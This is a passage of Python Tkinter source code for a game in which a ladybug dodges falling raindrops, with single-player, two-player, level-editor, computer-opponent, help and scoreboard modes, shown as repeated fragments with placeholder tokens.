'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\ndef hitAI2(data, distance):\n for coconut in data.coconutsAI2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= data.\n player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <= data.\n player2X + data.r):\n data.player2Y += 50\n data.coconutsAI2.remove(coconut)\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n\n\ndef helpTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\ndef splashScreenMousePressed(event, data):\n if (data.splashButtonY - 2 * data.r <= event.x <= data.splashButtonY + \n 2 * data.r):\n if data.p1ButtonX - data.r <= event.y <= data.p1ButtonX + data.r:\n data.mode = '1Player'\n if data.p2ButtonX - data.r <= event.y <= data.p2ButtonX + data.r:\n data.mode = '2Player'\n if data.edButton - data.r <= event.y <= data.edButton + data.r:\n data.mode = 'editor'\n if data.diffButton - data.r <= event.y <= data.diffButton + data.r:\n data.mode = 'difficulty'\n if data.helpButton - data.r <= event.y <= data.helpButton + data.r:\n data.mode = 'help'\n if data.sboardButton - data.r <= event.y <= data.sboardButton + data.r:\n data.mode = 'scoreboard'\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\ndef splashScreenRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.splashText - 10, image=data.title)\n for drop in data.splashScreenDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.splashText, text=\n \"\"\"\n 1.) Single Player Level Mode\n\n\n 2.) Two-Player Mode\n\n \n 3.) Level Creator Practice Mode\n\n \n 4.) Play Against the Computer\n\n \n 5.) Help and Instructions\n\n \n 6.) Scoreboard\n\n \n \"\"\"\n , font='Arial 14 bold', fill='yellow')\n splashScreenButtons(canvas, data)\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, 